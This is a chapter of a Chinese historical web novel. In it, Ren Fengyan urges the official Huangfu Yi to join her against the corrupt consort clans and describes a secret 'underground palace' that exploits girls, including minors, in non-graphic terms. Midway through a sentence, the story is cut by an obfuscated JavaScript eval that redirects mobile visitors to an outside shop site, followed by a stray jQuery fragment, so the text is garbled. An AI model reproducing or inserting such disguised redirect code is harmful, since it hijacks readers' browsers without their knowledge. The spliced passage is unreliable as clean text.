皇甫仪皱了皱眉头,实在是看不下去,略带斥责道:“任风言,你好歹是女娘,怎么坐没坐相,双腿如此岔开而坐,实在是不雅。我可是男子,你却当众脱去鞋袜,真是……无礼。”
任风言点点头,附和道:“是是是,你说的对,皇甫使君说什么都对。”
皇甫仪被她气到无语,只好专注于自己的事。
任风言将袜子烤干后,又将鞋子拎过来,举在火上烤。
她看了皇甫仪一眼,有气无力地喊:“皇甫兄,我饿了。”
皇甫仪放下手中的竹简,朝外头喊道:“来人,备些吃食。”
“是。”
任风言见皇甫仪没有要赶她走的样子,更加放肆,四处参观他殿内的青铜器具,就拿鹤形壶来说,壶上展翅欲飞的鹤栩栩如生,样子精美,连根根羽毛都看得清楚。任风言不禁感叹古人的精湛工艺。
不过这些个好东西,也只有像皇甫仪这样有权有势的人才能拥有了。
皇甫府中的下人机灵,准备了双份的吃食,小米粥暖胃,任风言一口气干了一碗。
见皇甫仪仍旧端坐在枰上,任风言终于忍不住开口:“皇甫使君,我这来了大半天,你就光顾着看你的文件,都不招待我吗?”
皇甫仪头也不抬地回道:“你用了我的早膳,烤了火,还偷偷把我的博山炉藏在了身侧,是吃也吃了,用也用了,拿也拿了,怎么?女公子还嫌在下招待不周,那是否要在下亲自为你端上吃食,再送你些金银珠宝才算周到?”
任风笑道:“哪里哪里,我来是为了什么,使君难道不知?”
皇甫仪不主动提,那就只好她自己上了。
然皇甫仪仍埋头书案:“我怎会知?”
任风言肃声道:“使君既已知晓我在大将军府的事,想必颍川城外驿站的事,使君应当也已得到消息。”
皇甫仪忙屏退左右:“你们都下去吧。”
两位婢女往后撤几步,离开了正堂,关上了门。
任风言起身,调整姿势,跪在枰上,直起腰身,言语恭敬:“使君,城外驿站处,我丢失了你的节杖,想必鲍回那厮定告到了樊氏处,你虽为太守,但恐怕免不了一劫。”
皇甫仪放下手中的竹简,抬头正视任风言:“女公子休要胡言,本官的节杖一直好生放在府衙,如今不翼而飞,幸得中郎将鲍将军在押解流犯时替本官找回。只是贼人尚未找到,节杖也只好先放在太尉府。”
任风言听罢,冷笑了声:“皇甫仪,不要自欺欺人,我是来救你的。不,是来找你合作的。”
皇甫仪未回应,低头重新翻起了竹简,却又忍不住偷偷看了一眼,只见任风言换了个姿势继续烤火。
“皇甫仪,如今的天子斗不过邓氏,又斗不过樊氏,皆因生母宋采女出身微寒,没有强势的母族撑腰,然东河王不同,他生母是如今的太后,舅舅乃当朝大将军,还没坐上皇位就诬陷残害我任家守疆忠将,不就是因为母族的势强。我说句没良心的话,你若当初不给我节杖,予我方便,或许能安稳地过上一段时日,但当下,你已无路可退。我可听说,大朝会当日,樊家的人就对你施难了。”
说起大朝会的事,连任风言都知道了,他突然感到一阵心烦意乱。
任风言见他也不是面无表情,继续忽悠:“我是感激你的,也知道是自己拖累了你。所以我才想来救你,我不希望你步入我阿翁的下场。据我所知,颍川的皇甫家如今也只剩你了。你知道我当日为什么炸了大将军府吗?因为我的妹妹任芸,被送进了地下宫殿,她才十岁,又被带进了樊先的府上。那密室的香气,我这辈子都忘不了。”
皇甫仪这才缓缓转过身。他虽有听过地下宫殿,但没想到兴朝竟还延续了前朝的恶习。
“这是前朝的事,我朝高祖早就下令废止了。”
任风言大笑道:“你说高祖下令废除?可地下宫殿还好好地存在着,从前是邓氏,现在是樊氏,你就这么相信高祖?你难道就没有想过,真正允许他存在的人是谁?”
皇甫仪手中的竹简掉落在地上:“你不要再查下去了。此事关系甚广,揭露开来有损国颜。你还不知道前朝的地下宫殿是怎么样的吧。我说与你听。”
前朝,外戚干政严重,就连宫中的皇后妃子几乎已经内定了各世家大族的闺阁少女,虽然每年都要在民间大选秀女,但能够从秀女走到后宫的人寥寥无几。
其中,在各地采选时遇见的数一数二的美女,往往不会送入宫中,而是秘密带到地下宫殿加以培养,就连皇帝本人,也时常会去光顾,更有传言,地下宫殿中的几位姣姣者,是皇帝养在外围的妃子。
后宫内的每一位嫔妃身后,都站着她们的母家,这些世家大族在内拥有重要的官职,在外占据着一方霸主的地位,以至于前朝皇帝只能偷偷地将自己喜欢的女子养在地下宫殿,一旦这些女子怀孕,他便会杀了她们。
渐渐地,那些权贵们便想到了一个办法,如果用男子与未成年的女子扩充地下宫殿,便可躲避怀孕的风险。
然而更令人作呕的是,许多大臣们竟邀男女一同伺候,还有的玩出过人命。
这件事也成了高祖起义的一大缘由。
如今,地下宫殿非但没有被取缔,竟将魔抓伸向了朝廷官员的子女身上。
任风言一听,顿时心慌:“不好,研儿,研儿定也是被抓走了。可我那日并未见到男子,放眼望去,地下宫殿全是女仆,守门之将也是力大无比的女兵。”
皇甫仪有些疲倦,扶额揉了几下太阳穴:“因为后来地宫里的男子与女子私通,又弄出怀孕的事来,因而男女才被分开管理了。”
任风言焦急万分:“那会是在哪里呢?”
皇甫仪走下枰来,抓住任风言的手臂,神情严肃:“你既救出了你姐姐,那便往南,出了桂郡再出边境,再也不要回来了。”
任风言甩开他的手,神色不悦:“皇甫仪,我任风言连他大将军府都敢炸,我还怕什么!知道那是什么吗?那是火药,我会造,可他们不一定会,即便知道了,按着比例配置出来还需一段时间,而我那时,早就杀了樊氏全家。”
皇甫仪闭上了眼睛
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14056327|145751||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,自言自语道:“果真天意如此。”
“什么天意?”
皇甫仪仰头观梁上的蜘蛛,缓缓道:“我五岁那年,有一老者蓄着白须,路过我家门前,说我与他有缘,想将我带去云游。可我不愿,我父母自然也不敢将孩子交给陌生人。就这样,那神仙打扮的老者才吐露实情,说我而立之年将有祸事,若是不愿跟着他去云游,散散浊气,那便需离开故土才能有机会化解。我本以为而立已过,谁知节杖之事横生。”
“皇甫仪,少信这些迷信,错的不是你,不是这个世界,错的是这个制度,是那些人性中的恶,是不该有的什么天子庶人这种等级观念。”
任风言最听不得古人这些一套又一套的歪理,将自己死死地困在封建等级的观念下。
皇甫仪再次被任风言的言论所震撼,这一套思想和理论,是他从未有过的,如同灿烂的流星划过了黑暗的夜空,惊艳了瞬间,却永流心底。
“皇甫仪,跟着我一起干吧。我想推翻这不公平的等级,我想创造人人生而平等的世界,我希望创造一个没有杀戮和欺骗,到处都是善意环绕的人间。”
看着任风言坚定的眼神,皇甫仪有些自惭形秽,这女孩比自己小一轮左右,竟能有如此之思,跳脱出常识,向最根本的制度发问。
然而他对任风言的这些思想产生了好奇:“你说人人平等,那国由谁来运行?百姓的安全谁来维护,国家的边疆由谁来组织防卫,得到不公又由谁来受审?”
任风言:“到时,我们可推选出一个组织,在推选出组织的代表,由他为民众做主,他代表广大人民的意愿,锻造一支为民的组织。”
皇甫仪:“如今的兴朝,高祖创立之初便让天下万士为民请命,可到头来,谁又真正为百姓发声?”
他捡起桌上的竹简:“你瞧,今年大雪,各地雪灾严重,颍川郡下辖州县冻死者已达一万人,你说的组织,你说的代表,他能真正看到这些人吗?他能为这些人发声吗?他能改变这一切吗?”
“能。”
任风言斩钉截铁地喊道:“能,一定能!你相信我,我看到过这样的世界,我真的看到过,那里国泰民安,海晏河清,即便有些年份大小灾害不断,但各方的人们总是愿意伸出自己的援手。这样一个世界,难道不美好吗?”
皇甫仪接着问道:“那这样的世界就能人人都过上好日子吗?可人心不足蛇吞象。你能阻止人与人、家与家、国与国只见的斗争吗?只要每个人所拥有的东西有所区别,那么掠夺就一定会发生。”
任风言明白,作为地方官的皇甫仪看多了真正的民间疾苦,知道什么才是对民众好。中央朝廷离地方太远,却又拥有巨大的权力,这就使得他难以开展自己的抱负。
“皇甫仪,你既是颍川的地方官,自然也懂民情。我想你也明白,所有的事不是一蹴而就的,要想实现那个大同世界,要走一条漫长的道路。我所见到的世界,人们已经拥有反抗命运的勇气,女子也不再是男子的附庸,我们吃得饱、穿得暖、住的好,路有饿殍的场景早已不复存在了。”